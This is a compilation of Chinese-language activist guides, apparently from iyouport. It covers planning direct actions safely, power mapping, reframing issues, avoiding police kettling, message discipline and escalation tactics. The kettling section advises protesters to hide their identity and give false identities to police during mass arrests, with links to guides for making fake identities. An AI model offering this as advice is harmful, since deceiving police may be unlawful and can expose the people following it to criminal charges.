因此，💡设计行动的目标应该是，以对参与者、社区、您自己和运动本身负责的方式，最小化风险。

⚠如果你让对抗的浪漫感在行动计划中掩盖了细致的关怀，就可能会让其他人受到伤害，受害者极可能会离开行动本身，以应对他们冒险行为的后果。

💡一个好的行动计划者可以区分自己能够（和应该）控制的风险、和不能控制的风险，并向所有参与者阐明可能产生的后果。

在策划阶段这是非常重要的。

彻底的行动计划必须建立在您对周围人的责任的基础上。

即使您的计划很好，如果行动日到来并且情况不符合您的预期，也不要因害怕将其取消。

更好推迟或另择日，而不是拉着你的团队进入完全没有准备的环境。

Ruckus Society 的小册子概述了在规划行动时应该记住的一些关键注意事项。

有些内容也许不是第一次讲述。重复是因为我们认为它非常重要。

如果缺少某些东西，也并不意味着它不重要。也许只是我们没有想到，欢迎有经验的实践者前来补充。

—— 重要基础 ——

1、要有战略意义地尽可能确保您的计划利于愿景和目标。

不要以“软”、“硬”或“更激进”的标签方式来思考。

相反，要考虑它是否适合目标、策略、情境、信息风险、升级程度等等。

2、从最简单的开始。致力于构建它。

不要一次性部署所有技术。

如果合适，请留出可升级的空间。

3、建立一个团队。

这一切都始于一个良好的行动团队（亲和力的团体）和良好的非暴力/直接行动培训。

所有角色都很重要。

拥有好的支持对一个团队来说至关重要。

4、了解你的极限。

对您的能力和资源进行实际的评估。

5、侦察，侦察，侦察。

花更多的时间来了解你的位置，不论是物理层面的还是精神意识层面的。

6、了解你最有效的阻塞点 —— 能使你成为最讨厌的阻挡者的地方。

不能让你的对手在你周边正常工作/步行/开车 —— 要让他们无法忽视你。

7、实践。

一遍又一遍。通过练习熟悉它。

8、得到帮助。

利用他人的经验、培训或现场支持。每个人的第一次都要这样做。

纸上谈兵是绝对不行的。

您拥有的实战经验越多，您就越容易以适当的方式支持队友。

9、不要仅仅*为*你的行动本身做计划，要尽可能计划*通过*行动能实现什么样的结果。

把整个直接行动想象成一个“中间过程” —— 有大量的准备工作和大量的后续行动，法律、情感、政治……等等一切。

10、制定 PlanB ……以及 C，D＆E，如果您认为可能用得到的话，全包括进去。

11、制定媒体策略并执行。

确保您的轰动效应，并且您的操作逻辑尽可能透明。

不要让沟通成为事后的想法！

12、消除不必要的风险。

让您的行动尽可能安全，以实现您的目标。

这是一个负责的领导者所必要的。

13、不要忽视你的团队内部之间和警察/国家之间的权力动态。

种族、阶级、性别认同（真实或感知）、年龄、身体能力、外表、移民身份、国籍等等；所有这些都会影响你与行动的关系。

14、有效的穿着。

确保您的外观有助于携带出您想要发出的声音，最好是无须解释的动机。

并且穿着要舒适。

如果您需要实施长时间的封锁占领，无法移动，请考虑穿着成人纸尿裤。这不是玩笑。在黄背心运动中，由于女性占据行动者较大比重，警方利用封锁禁止抗议者如厕以此来羞辱女性，她们不得不当街小便。

此外，有可能需要携带必要的衣服或毯子，如果要过夜天气变冷，你可以支援周围的人。

15、保持供水。

如果你不能携带足够的水，要确保支援部队可以给你供水。

16、最后，要有创意。玩得开心。

⚠如果没有彻底的安全计划和技能水平评估，就不应该尝试危险的策略，例如攀爬、横幅悬挂在一旦坠落就会致命的地方，等等。

直接行动不是游戏。

风险、安全、力量和其他随机的想法供您参考 ——

1、非暴力直接行动和公民不服从总是涉及一定程度的风险 —— 逮捕、伤害、殴打……

风险的某些方面在你的控制范围内，而其他方面则没有。

⚠警察如何对特定情况做出反应绝不是100％可预测的。

通过思考您的行动及其发生的背景，您可以开发一些方案来帮助您预测事情的进展。

2、如前所述，并不是每个人都会冒同样的风险。

种族、阶层、性别认同（真实和感知）、年龄、外貌、移民身份、身体能力 等等条件都会造成不同 —— 即 警方的暴力和逮捕风险以及该行动可能产生的法律和经济后果。

这些必须被考虑进去。

还要记住，您的行动小组中存在权力动态。

假装它们不存在或忽略它们“为了行动的利益”，可能会损害你的执行能力，增加风险。

所以，请更好地是保持透明度，共同完成这些事，而不是着眼于掩盖“不同”。

3、只有当设备/车辆没有运行时、或者操作员确信您的存在时，才能安全地实现封锁设备/车辆。

⚠如果你躺在卡车前面、并且司机不知道你在那里 —— 这里就没有什么决策困境，也没有行动逻辑。

那不是直接行动，而是等待发生事故。

4、始终避免不必要的伤害风险。

受伤和被捕都不是重点。

⚠最好的行动就是我们能够在我们想要的时间内停留、并且行动，以我们想要的反馈结束 —— 而不是逮捕或受伤。

5、实践。实践。实践。

练习的次数越多，您的安全性就越高，您的行动就越有效。

犯错的后果可能很严重。

> “公民不服从不是我们的问题。我们的问题是公民服从。

○

原文

（36）明智地选择你的目标：绘制权力地图 - iyouport

行动技巧、战术和原理

（2019年10月11日存档）“人们放弃权力的最常见方式是认为自己没有权力” —— Alice Walker

你肯定有权力；而且通过巧妙地使用，它可以发挥很好的作用。

本文推荐一个小工具。

自20世纪80年代以来该工具一直在被行动主义广泛使用。

🌤要赢得一场运动，您需要正确地识别谁有权解决您想要解决的问题。

然后你需要针对性地给他们施加压力，以令其做出正确的决定。

绘制权力地图是一种工具，不仅可以识别谁拥有这种权力，而且至关重要的是，谁拥有对该人的影响力，即 你的直接行动的矛头指向的那个人。

正确完成的权力地图可以揭示这些权力关系和动态，并帮助您为运动设计制胜战略。（参见 原理4: 明智地选择你的目标）

假设一家矿业公司正试图从您所在社区周围的土地中提取矿产。

结果是 土地受到污染，严重影响了您的家人和邻居的健康。

那么，你的目标是谁？

该公司？如果是这样，您是否针对该公司所在区域主管或国际首席执行官？

谁最终有权关闭矿井？

你可以利用什么样的力量让他们做到这一点？

制作整个情况的权力地图可以帮助您回答所有这些问题。

事实上，⚠这张图可能会告诉您，您不应该以公司为目标，因为您无法对它们建立足够的直接影响力。

相反，权力图可能表明你应该针对当地政府。

但是，到底针对谁呢？从当地市长到国家领导人的每个人在这种情况下都有一定程度的权力，以及彼此不同程度的影响力。

💡权力图可以帮助阐明这些关系并提出最佳的进攻方向。

在开始行动之前制作权力图至关重要。

⚠如果瞄准错误的目标可能会损害您的行动力和资源！

所以，在开始之前确保您走在正确的轨道上这至关重要。

你可能会发现，即使在正确识别你的目标并对其进行一段时间的压力行动之后，你也无法动员足够的力量直接压迫他们解决问题。

那时你需要集中精力对权力图中呈现的“次要目标”施加压力 —— 即：能够影响你的主要目标的权力持有者。

如果让他们感到足够的压力，他们就有可能策动主要目标来满足您的需求。

💡权力图可帮助您绘制主要目标与所涉及的所有其他利益相关方（包括您自己）之间的所有影响力关系。

—— 如何使用该工具 ——

第1步：确定您要解决的问题。

扩展您的情报，直到您对问题和所涉及的权力关系有广泛的了解。

第2步：确定主要利益相关者。

这些利益相关者通常包括：

- 那些制造问题的人;

- 那些有能力解决问题但却没有这样做的人;
- 与该问题的所在地相关的人;
- 那些正在努力解决问题的人;
- 不要忘了，还包括你和你的团队。

您最终会得到一系列与您的问题相关的机构（正式和非正式的）、组织、有影响力的人物、媒体和各种各样的人。

请保持这个清单清晰可用。

第3步：研究利益相关者。

你的名单上有一些机构，但是机构不做决定，是人在做。

所以，你必须找出谁在这些机构做出决定。那就是你的目标人。

然后，你必须尝试回答一些关于这些目标人的问题：他们在这个问题上究竟是同意还是不同意你？他们对处理这个问题有多大的权力？

画出下面这张图：

第4步：绘制所有利益相关者的立场。

可以直接在权力图上绘制。

将每个利益相关者放在正确的位置上。然后，根据他们的支持程度，以及他们拥有的对问题本身的权力，您可以直观地看清楚应该如何行动。

第5步：确定您的主要目标。

当你弄清楚谁对这个问题影响最大、谁最有可能给你你想要的东西时，你的目标就突出出来了。

完美的目标既强大又具有支持性（或者至少可以轻松说服其转向支持你）。显然，这种情况在现实生活中很少有。

最难以推动的目标、正是你经常需要面对并被迫接受的那种，就是一个拥有很多权力的人，并且强烈反对你。

如果您无法决定单个主要目标，但只能专注于一个主要目标，请选择权力图中最有可能的人。

下一步着眼于您与每个目标的接近程度或成功的潜力，从而帮助您选择最适合针对哪一个。

第6步：映射主要目标周围的权力关系。

将您已确定为主要目标的利益相关者的图放入另一张更大的纸的中间。

想想看，他们是否受到您写下的任何其他名字的影响？

谁能左右他们？将其他利益相关者画在大纸上，尤其标注出他们与主要目标的关系。

请注意，尽可能在此图表中包含您自己和您与所有利益相关者的潜在关系。这是找到自己的权力的直观方法。

第7步：映射次要目标周围的权力关系。

您可能无法直接撼动主要目标。唯一方法是通过您在步骤6中确定的对该主要目标有影响的其他利益相关者来实现。也就是次要目标。

但这些次要目标又受谁的影响？为了找到答案，请为每个利益相关者制作单独的权力图。

再一次，在此图表中包含您自己、以及您与任何人的潜在关系，以便明确如何继续进行运动规划。

第8步：使用上述分析来规划您的行动。

现在，确保实际使用此研究和分析来创建一个计划，⚠针对那些实际上可以为您提供所需内容的人，而不仅仅是您可以轻松瞄准的人。

第9步：重新审视和修改。

在关键的行动中，随着权力转移或您得到的情报更加充分，请根据需要重新审视和修改这些图。

你会知道在什么时候需要修改。

鉴于您所知道的原因，本工具无法切实举例说明；但是它已经足够清晰，您完全可以在实际行动策划中套用。好运。〇

原文

（37）更改一个名称以更改整个游戏：”我的语言”和取景框 - iyouport

行动技巧、战术和原理

（2019年10月11日存档）“我们用概念战斗，而不是用枪” —— Gloria Anzaldúa

使用他们的语言就相当于被困在他们的框架内。

当局很擅长控制概念，以此来控制“事实”。

比如我们多次举例过的，“舆情分析”，听起来就像当权者在倾听民意似的；事实上它是社交媒体情报，它是有可能严重侵害公民权利的。

“情报”意味着侦查、窥视，并借此制定行动以针对任何监视者想要的人。

当我们换一个名词时，就能揭露当权者试图掩盖的行为本质。

⚠如果你沿用当权者制定的名词，即便论述得非常清晰，也很难真正触动广大利益受损群体以联合反抗和/或自我保护。

这只是一个最简单的例子。

人们理解新思想和概念的主要过滤器是用他们的第一语言，即母语。

反抗者的母语也是他们所反对的人的母语。于是使用语言游戏会非常有趣。

💡变革者必须解开复杂的理论并将抽象的，官僚的术语翻译成简单的日常用语，这样人们才能更容易识别、讨论和对抗不公正和压迫性的系统。

举一个典型的例子。在乌干达，“腐败”一词在该国的任何一种民族语言中都没有相应的术语。

这个词本身是相当广泛和具象的，因为它的拉丁词根意味着简单的 break down。

但是当你把腐败的政治含义剥离到最基本的形式时，你会发现，它意味着盗窃。

2012年，在反对广泛滥用公共资源的运动中，民间社会组织决定将“腐败”作为盗窃、将腐败官员作为小偷来处理。

如果贪污是抢劫，那么腐败就是盗窃 —— 乌干达的每一种当地语言中都有盗贼在这个词。

使用语言的微小变化在这场运动中的影响是惊人的。

人们可能会突然明白腐败的真正含义：有人在从其他人那里窃取资源，特别是那些最需要这些资源的人。

如果面对不公正事件却迷失在法律条款中，就很容易错过腐败的实际影响。

通过指出腐败就是抢劫，该运动暴露了腐败的实际影响 —— 例如，因为无法获得产妇护理，全国范围内每一天就有16名母亲死亡；如果资源没有被私人偷窃，可以建造数千所农村学校，孩子们不至于没学上；如果某个公职人员没有将这些资源汇集到个人银行账户，那么农民本来可以获得更好的设备、穷人可以拥有更好的医疗保健。

🌤通过更改问题的名称，该活动使每个人都能够识别出错误行为、并联合起来推动解决方案的实施。

人们从来知道如何处理他们社区中的小偷，现在也很容易看出应该如何应对政府中的小偷。

突然之间，在抽象的不公正面前，人们不再无能为力；恶行会呈现一个准确的名字、清晰的脸，和后果。

一旦问题出现在更有意义的文化背景下，人们就可以更容易想象出适当的补救措施。

窃贼们自己的回应也是史无前例的。鉴于与抢劫等卑鄙行为直接有关的尴尬和羞耻，政府官员表现得尤其恐慌，为了摆脱罪名歪招叠出。

他们越是挣扎，其结果就越尴尬。

并且，媒体也接受了这一术语，开始将腐败称为盗窃。这种新语言迅速传播到大多数媒体，人们至今仍在使用这一术语。

2012年，在乌干达，精明的活动家通过更改一个名字从而改变了游戏规则。

虽然此案例只是一个国家的一场斗争，但这一原则适用于全世界。

您正在策划的运动主题能否通过修改名字以提升动员效果？要不要试试看？

肯定有一个最准确的词能指向胜利的目标。

此外，加拿大社会学家 Erving Goffman 写过一本书 *Frame Analysis*，如果您是活动家们并为组织动员发愁，值得阅读这本书。

人类是叙事的动物，总是用故事来理解身处的世界，概念框架就是这个过程的关键。

就如 George Lakoff 所描述的，框架是“允许人类理解现实的心理结构——有时是创造我们所认为的现实。”

无论你是否意识到框架的存在，框架都嵌入在我们描述和理解世界的任何方式中，⚠它被强加了一种通常有益于那些有权力的人的意义。

例如，当经济学家给出“经济预测”时，经常称之为“晴雨表”，这就巧妙地引导人们将资本主义视为超越人类控制的自然力量。

⚠这种框架有利于银行业和寡头企业，因为它模糊了他们如何实际操纵市场以获得自己的优势的事实。

框架可以是一个有用的工具，不仅可以增强自身力量，还可以进行竞争。

🌤在制定行动或活动时，您必须考虑如何最具说服力地描绘问题或冲突，以便破坏主导框架，并使用有利于运动目标的框架取而代之。

参见这里：“关于框架有一个基本的事实：如果你接受了别人的框架，你就输了”——《框架是一种权力》

🌤您要问的一些问题包括：谁是好人？谁是坏人？冲突点是什么？利害关系有哪些？必须揭示哪些隐藏的力量或新的解决方案？我们的基

本价值观是什么？是否有一个统一的主题可以为我们的故事创建一个框架结构？

纽约市的“Stop and Frisk”计划的支持者称“police stops”的做法是“拯救生命”的“社区安全”的福音，而该计划的反对者使用“种族剖析”的框架，指出这项政策“将整个有色人种社区的公民定为刑事犯罪”。

这样就明显扩大了范围，同时将框架集中在揭示种族不公正的叙述上，有效地动员了有色人种和广泛的反种族主义运动。

在中国也经常能看到当权者将警察国家的深度进展描述为“安全/稳定”，在这种情况下活动家们就可以采取大众普遍感知灵敏的另一个心框架取而代之（此处不方便建议）。

⚠请注意：必须是大众感知灵敏的，而非极少数异议人士和活动家团体内部的敏感。任何时候不可以用团体内部的价值观衡量广泛的大众。

框架是对意义的斗争。

就如 George Lakoff 所指出的，“真理必须被有效地框定才能被看清。这就是为什么对框架的理解很重要”。

请注意：框架是战略性的，而非单纯的调侃讽刺。〇

原文

（38）抗议者如何对付警察：警惕”水壶”战术 - iyouport

行动技巧、战术和原理

（2019年10月17日存档）这是一种很常见的警方维稳战术。本文的主题是介绍和防御；尤其是对于缺乏实战经验的抗议者来说，这些注意事项非常重要

1、什么是水壶？

“水壶”是警察用来控制街头抗议者的战术。

穿着全套防暴装备的警察利用他们的身体在一群抗议者周围形成“警戒线”。警戒线内的区域被称为“水壶”，以这种方式封闭抗议者的过程被称为 Kettling。

“水壶”可以很大 —— 装下几千人，也可以很小 —— 比如高度定位于组织者、或者在最具战略性的位置，装下几十人。

在设置水壶时，警察会缓慢前进，移动编队，有时敲打他们的盾牌以恐吓抗议者。

一旦抗议者进入水壶，他们就被强行关在那里。任何人都不得离开。

在水壶内，抗议者没有任何食物或水，也无法使用厕所。

很快就会逼迫人群沸腾 —— 这就是“烧水”。

接下来就是大规模逮捕，暴力冲突。

这种战术有着非常悠久的历史。

在美国和欧洲很流行。

1986年，德国警察在汉堡 Heiligengeistfeld 的反核抗议示威活动中第

一次使用了这种方法。

最近的使用是法国的黄背心运动中，在这里看到图文和视频介绍《现代维稳战术一瞥》；直到今年初的第16次抗议活动，已经有8,000多人被捕，500人受重伤，2000多人被监禁，12人死亡，20多人失明，6人失去了手。

从80年代到现在，这种战术从未间断。而且最近两年还在美国重新引起了震惊。

如果抗议者试图突破围困，警察就会使用盾牌、警棍等武器进行回击。

这些全副武装的防暴警察都是经过专门的打斗训练的。一般抗议者很难赢过他们。

2、何时以及为什么警察会使用水壶战术？

这本身是个维稳战术，如果简单回答这个问题的话那就是：维稳。

任何时候警察如果觉得和平抗议队伍中“出现了骚乱”，他们就会采取这种方法。

⚠请注意：骚乱有可能是警察当局故意制造的。

大多数群体运动都会被恶意渗透，以帮助当局造就镇压的合理性。

这不意味着运动本身有什么问题，而是说组织者应该及时反应过来，抓住渗透者并排除渗透者。

被渗透并被故意制造混乱的可能性是大规模行动的最明显弱点，因为掌握一切是很难的；而且随着行动加深，很多活动家本身会变得更加激进。

要想避免这种弱点也有办法，详见我们曾经介绍过的（这里是汇总版链接）

根据法律，警方不应该使用水壶“直接或间接地扼杀或阻止抗议”。Kettling一直受到许多民权和激进组织的强烈批评。它涉及让抗议者在身体严重不适、甚至生命危险的情况下持续数小时，并对抗议产生强大的威慑作用。

但是，只要警方能找到任何理由确认“骚乱”，就可以采取这种方法。

所以，⚠非暴力直接行动的抗议者需要有成熟的管理机制，避免被恶意渗透制造混乱。

⚠请注意，有些时候警方会故意制造“假水壶” —— 也就是说，故意让抗议者见到似乎“水壶”正在形成，这种情况下任何有点经验的活动家就会下意识迅速撤离此地；但是如果它是假的，这意味着警方可以很方便地将抗议者驱逐出一个（有可能是很重要的）战略位置。

在这看到一个在伦敦发生的案例。

3、警察可以将人们关在水壶里多久？

只要警方认为“需要”，他们就可以持续“烧水”。

法律角度上警方无权进一步拘禁，但是，这其中有很大的自由裁量权。2010年12月的学生抗议等大型示威活动中发生的“水壶”战略，抗议者被围困了十个小时。

⚠尤其是缺乏经验的抗议者，非常容易被困在“水壶”里，因为他们对警方的行动迹象观察不周。

在黄背心抗议中之所以有八千多人被捕、致残，正是因为其中很多参与者都是缺乏经验的。

记者也经常被困在“水壶”中，也会遭到殴打，警方会声称记者“没有出示证件”，事实上大多数时候是警察不给记者出示证件的机会。

当发生“烧水”时，医务人员也很难接近以救援。

但是，⚠请注意，对付这种战术必须使用智慧，而非携带杀伤性武器；因为你很可能没有机会使用武器的情况下就被*合法*镇压了 —— 携带致命武器是镇压最合理的理由，不管它有没有被使用。

4、哪些人会被捕？

近年来发生的“水壶”事件大多以大规模逮捕结束。

如果有理由怀疑每个被捕者都犯有刑事罪，警方可以逮捕被关押在水壶中的任何人甚至所有人。

但是，如果逮捕是任意的，不分青红皂白的，警方的行为可能会违法。强烈建议任何被关在水壶中后被捕的人寻求法律建议。

⚠或者警方还会故意只留出一个小的位置以令水壶中的人流疏散，但是，在此处拍摄以记录所有抗议者的影像，包括如今很可能采用的人脸识别技术，并自动匹配身份信息。

这种做法是非法的。如果你遭遇这种情况，请想到安全的办法记录警察的行为，将来有机会申诉。

记录办法详见：

- 《如何安全地留住证据：给真相的记录者一些技术技巧建议》
- 《拍摄取证 2：详述步骤和具体技巧》
- 《公民取证技巧：如何留住真相？》

⚠ 请注意，如果您因记录过程中操作不慎被警方发觉，他们将有权要求您出示真实姓名和地址、或者给你拍照（就算暂时不会逮捕今后也很麻烦）。所以，您尽可能不要被发觉。

5、警方是否使用水壶战术进行数据收集？

是的。

警察一直将“水壶”视为有价值情报的来源。

⚠警察通常会要求抗议者交出姓名、地址和/或照片，作为是否能将他们从水壶中释放的条件 —— 拒绝提供这些数据的人经常被告知无法离开。

在英国，高等法院认为，对于大都会的 Mengesha 诉警察局长案而言，这种做法是非法的。

大规模逮捕提供了一种收集每个人的个人数据的替代方法，包括来自移动电话的数据。

尤其是，这种情况下使用黄貂鱼进行攻击非常有效。

如何应对见这里：

- 《如何应付政府使用黄貂鱼对公民进行的大规模间谍行为？#反监视技术》

如果警方使用了，很可能就不需要逐一搜查了。上面链接中有对黄貂鱼取证的技巧介绍。

最佳应对方案：

- 《集会参与者有必要了解的基本安全措施》

💡组织者应该事先建议参与者在被集体逮捕时隐瞒个人身份细节，除非受到指控。你可以提供假身份，不论是在线的还是现实的。

在这里看到假身份的制作和使用方法（⚠不要等您被捕时再实施，这是为了避免避免而设计的）：

- 《角色扮演：行动者刚需》
- 《在线隐身基础步骤》

如果警方“合理地相信”某人参与了所谓的反社会行为，警方也有权要求上报真实身份。

反社会行为（ASB）被定义为对某人造成骚扰、恐慌或窘迫。这也是很常用的口袋罪名 。

但是要记得，即使抗议涉及一些非法活动，也不应将此罪名用于和平抗议。

6、当我在水壶里时、或者我离开时，警察有权搜查我吗？

如果他们“ 合理地怀疑 ”您携带的物品是非法的，或者有明确被授权，警察就可随时进行搜查。

1994年英国“刑事司法和公共秩序法”第60条允许警察搜查任何人，⚠如果警察认为存在严重暴力的可能性，或者他们有理由相信抗议者携带武器或“危险工具”，就可以搜查。

上述授权通常被用于镇压大规模抗议。

但是理论上警方无权知道你的真实姓名和地址，也不应该给你拍照。

7、我怎样才能避免被“水壶”夹住？

理论上您有时可以看到水壶正在形成，并在水壶关闭之前迅速移开此地，但是，通常状态下很难看出来。

这对于有经验的活动家来说也可能如此，因为站立位置问题，有可能看不到。

快速移动的游行更加难以发觉，但是，移动的阵型可能更容易分散开。最糟糕的可能是固定阵型。

警方可能不愿意在关键的战略位置形成水壶 —— 例如可能的抗议目标之外、或主要道路交界处、或抗议者难以与公众隔离的地方。

🌤所以您应该掌握警方的战略思路，以提前警惕。

⚠先看好地图 ！策划阶段需要完善，尤其是作为组织者，您有义务对参与者介绍有可能发生的任何事，并给出PlanB、C、D ……具体详见这里《冒险，但要小心》。

8、警察可以使用武力组成水壶吗？

有可能。

警察可以使用适当的武力组成一个水壶，并将人们收入其中。

关于什么样的武力才是“适当的”，这取决于具体情况。

如果您觉得警察过度使用武力，您应该取证，并获得法律建议。

……

此外，有一个叫“**Sukey**”的软件，使用社交网站和智能手机，让城市不同地区的抗议者能够互相提供有关警察行动的即时信息，从而避免被“水壶”。

但是这个软件中国好像无法使用？不过中国技术社区完全可以开发类似的技术以帮助行动者识别危险。〇

原文

（39）讯息纪律不是创造力的敌人：”每一次心跳都很重要” - iyouport

行动技巧、战术和原理

（2019年10月25日存档）讯息纪律是行动实现沟通、清晰化、令人难忘、和步调一致的艺术

快速扩大影响力是每一个行动组织最值得期待的事。为此，人们想到了很多办法。

社交媒体上的群众运动是其中一个典型，也许因为它更为“直观” —— 也许人们将转发量视为了评判效应的标准。

⚠事实上局部的影响力并不是评判效应的标准，整体才是。

几年前我们分析过《为什么中国社会难以组织起来》，就是以在线组织延伸到现实中为基本设想的。

很容易想到，在线运动的活力和参与者的积极性延伸到线下形成力量 —— #FreeJulianAssange 运动就是典范之一；如果您使用 tweetdeck 长期关注相关标签（包括 #Unity4J）您将能看到这场运动的火爆，尤其是持续多年的耐力。

这不是局部影响力能准确判断的。

比如，Wikileaks 官方账户的转发量和这场运动的所有参与者个人信息的转发量是天壤之别，但绝非意味着后者的“挫败”。

正相反，后者作为基数的庞大才是这场运动能够成功的关键所在。

作为动员者，您应该能做到让所有参与者都乐于为基数作出贡献。

类似的行动还有很多。另一个最著名的例子是2015年爆发的推特行动：#LATE，“每一次心跳都很重要”。

这是委内瑞拉社交媒体社会运动的口号，出现在充满活力的彩色艺术品、视频和其他多媒体传播中。

这场运动是革命艺术家和基层媒体活动家团队的合作，旨在重塑玻利瓦尔革命的审美叙事，并将公社置于其“象征意义中心”。

委内瑞拉不断发展的公社运动为新的激进政治和经济民主奠定了基础。#LATE 运动旨在将革命的想象作为一种不属于政府和党派的集体愿景，而是由社会运动自下而上地塑造出来。

＃LATE 没有代表候选人或任何政党进行竞选，相反，是通过实施“民众运动的立法议程”来激化革命。

目标是发起一项基于思想的运动，这种思想将许多集体联合起来，以面对资本主义危机，答案就是公社。

这场联合运动的中心级动员者只有 70个人，他们四处走动会面人们，以传播他们的想法。

⚠请注意，最终轰动互联网的口号“每一次心跳都很重要”并非70位策划者的预先构想，而是在他们与人们接触的过程中彼此磋商后 —— 经过辩论和投票 —— 得出的。

有了口号、确立了主题，行动者们开始分头工作，创建logo、作品、网站和作品“储存库”。

在这里，参与者们可以找到所有能用来制作*自己的艺术作品*的资源。所有内容都是可编辑的，参与者只需将徽标放在自己制作的视频或图像上 —— 这是运动的一部分。

💡这是一项不属于任何人的运动 —— 完全是社会财产。这样做是为了让任何人或任何集体都可以重新使用这些作品和元素，并在他们喜欢的情况下重新创建。

就如活动家所说，每个人都很重要，每个人都是必要的；每一次心跳都像每一个生命一样，你所做的每一件小事，尽管它们可能都很小，但是在建造这个巨大的项目中，点点滴滴都很重要。

这场运动的最大特点之一是，💡它并非在某个封闭团体的指挥下进行的，它不属于任何一个集体或个人，所有人都在负责，同时无人负责一切。

这场发自互联网的运动实现了现实中轰轰烈烈的行动主义参与。

引发了各种街头活动，涉及涂鸦艺术家、壁画家、印花T恤、音乐，舞蹈，马戏团、公共聚餐 …… 由100名涂鸦艺术家组成的大篷车驶入 Chacao 时，掀起了整场行动的风潮。

一切都是根据人们的日常联系进行组织的：社区、工会、学生会 …… 由无数个集体凝聚而成。

通过这种方式，该活动几乎完全是自我管理的。

你能想象到，这其中没有“挫败感”，没有人会因为“我自己的转发量不高”而产生消极退却的心理。因为它构建在集体共同的参与热情之上。

这是一种赋权。

🌤当人们感知到自己的权力时，就不再需要他人的“认可和赞赏”。

不论是 #Unity4J 还是 #LATE，凝聚力都能深刻体现在作品上 —— 准确说是讯息上；同时，并没有单一的组织和策划。

那么它们是如何实现令庞大的参与者团体异口同声的？（对于前者，要知道那是跨越10个国家的联动）。

答案是两个关键点：讯息纪律，和赋权。

讯息纪律是行动实现沟通、清晰化、令人难忘、和步调一致的艺术。

其原则是：从谈话要点到横幅标示、到参与者的主线思考方式、再到运动整体的视觉效果，一切都应该支持您的核心讯息 —— 关于您希望实现的东西。

这需要策划者在定调的过程中采取完美的逻辑。

讯息纪律是纪律本身，它绝非创造力杀手，从上面两个例子中您能看到，讯息纪律是在促进创造力的热潮。

关于讯息纪律的几点事项如下：

如何有效：当您以讯息纪律为前提时，将更有可能覆盖您的受众、并将其移至行动中。你可以将其理解为感染力，但事实上它更强大。

尊重您的小组流程：您已经与团队一起努力确定了需要沟通的内容。坚定了中心讯息并战略性思考；只沟通你们所有人都同意的是正确的讯息。

持衡：讲好一个故事。

普通人需要在讯息流入大脑之前接触到讯息的多种感官印象，这些印象都是主观的。

于是，讯息的一致性有助于您实现坚实的基础。

更多详见《利用讲述故事推动社会变革的秘诀》

避免杂波：时刻记得，您所说或所做的任何事都在公众舆论的法庭上被审视，因此，请确保您的言论和行动与您的团体讯息保持完美的同步。

去掉任何可能在此过程中出现的杂波。

记住：少即是多。

如何实现它：

其中重要的一点是：直接反驳不同意见是最糟糕的方式。

如此来您只会将您的行动快速推向被孤立。

🌤活动家应该以探讨的姿态、收听意见的态度，传达运动的讯息。

例如，“这是一个很好的问题，”或者“我很高兴你问起这个问题”，这本身就能传达您的自信、天衣无缝的理论；然后加入清晰、简洁、措辞有力的信息。

⚠请时刻记得，树敌的结果会与失败一样糟糕。

在视觉和动作中：在设计动作时，请事先想象一下它的画面感 —— 仅仅是画面、图像，没有标题，没有任何解释。

这张照片能传达你想要传达的讯息吗？

只有当答案是肯定的、毫无疑问的时，这一设计才是您应该采纳的。

更多详见《不手淫，要做爱：受众才是见证人》。

想想看，如果您的观众只能从远处看到您、而没有听到您的声音，他们会收到您想要传达的讯息吗？你怎么才能增加这种可能性？

参见《简单地压倒性—— 用行动说话：鞋子金字塔》

在活动中：您的观众在您的行动中看到或听到的所有内容都不可避免地会成为*与您有关*的讯息的一部分，因此，请时刻注意细节。

用第三方的视角审查，你的发言人穿的是什么？这样的衣着在说些什么给观众？他们是在使用聚苯乙烯泡沫塑料杯喝水吗？作为环保活动团体的发言人，这是绝对的败笔……

随着您的活动展开、规模扩大，尤其需要注意这些细节，您应该追求的是无可辩驳；这样才有希望确保您想要的影响。

📢讯息纪律绝不是创造力的敌人；标语牌可以囊括丰富的讯息，每一个发言人都可以分享一个反映他们自己独特体验的声音。

但是，⚠所有元素都应该加强你的核心讯息。这才是最重要的。

每一个行动元素或访谈响应都是独立的，都能成功地向您的受众传达清晰的、一致的和可信的强烈讯息。〇

原文

（40）有策略地升级：不要爱上战术 - iyouport

行动技巧、战术和原理

（2019年10月25日存档）过往的成功不是未来成功的秘诀 — 它是一个反思有效性的机会

很多行动者追求“一步到位”，这不仅不现实，也容易萌生挫败感。

对于组织者来说，每一步行动的可能性，以及如何应对尤其是负面的可能性，是需要预先介绍给所有参与者熟知的 —— 以做到心中有数，行动会更稳妥。

当当局无视人民的要求时，行动者可以迫使他们倾听并采取行动。

⚠但是要赢，人们必须保持住压力。

你的目标很少能在你们一次行动后就放弃，因此，通常需要在逐步升级中战略性地增加对他们的压力。

这种升级需要利用多种策略组合。

⚠请记得，你的目标也在预测你们的行动有可能如何升级，以便提早准备。

但是一个组织良好的运动总能以新的方式增加压力。让目标措手不及。

每一项新动作都会再次强调更大的需求，建立力量，以采取下一个升级步骤，并提醒目标：“在你屈服之前我们不会离开”。

2017年，在乌干达西部举行的 Make Bushenyi Great Again（MBUGA）活动提供了一个很好的例子，该活动使用逐步战略升级来赢得行动者的需求。

行动者的目标是：当选的区议长。他们的要求是：为 Bushenyi 设立服务委员会（处理政府工作人员相关问题的办公室）。

首先，他们通过谈判桌向当选议长表达了他们的不满；后者答应他们“正在努力”。

然而，一个月后，没有任何改变，所以活动家们选择提起诉讼。

该议长嘲笑诉讼、并嘲笑公民浪费他们的时间和金钱。

在接下来的五个月里，此案遭遇了不断的踢皮球，每次听证会都被推迟。

当地公民变得愤怒，并迅速采取了压力升级战术。

首先，人们选择了游行示威来吸引更高层领导人的注意力，他们可以向法院施压，要求法院采取行动。

一个月后，活动家们制定了一项占领地区总部的直接行动。

公民留下了要求服务委员会的标语牌。MBUGA 的活动家们还告诉司法部门，除非立即采取行动，否则他们也将占领法院。

看到民众的决心，并担心丑闻不断升级，司法部门决定迅速采取行动。

该案件于2017年7月在法庭上审理，公民赢得了此案。完胜。

MBUGA 行动从对话升级为法律行动、再升级到街头抗议活动、再到占领建筑物，再到可信的威胁 …… 最后回到法庭，

整体上不仅升级了战斗力，还升级了行动参与者的规模和数量。

而且，🌤组织者非常明智 —— 只有在大多数参与者都意识到这是必要的并且是时候采取下一步措施后，才会升级。

这并没有固定的模版，取决于您的具体行动是什么、您面临的状况是什么。

“伊莫卡利工人联盟”通过战略性地从基层组织升级到社区范围的罢工、绝食抗议、以及最终全国范围内的抵制运动，为佛罗里达州的农场工人赢得了更高的工资。

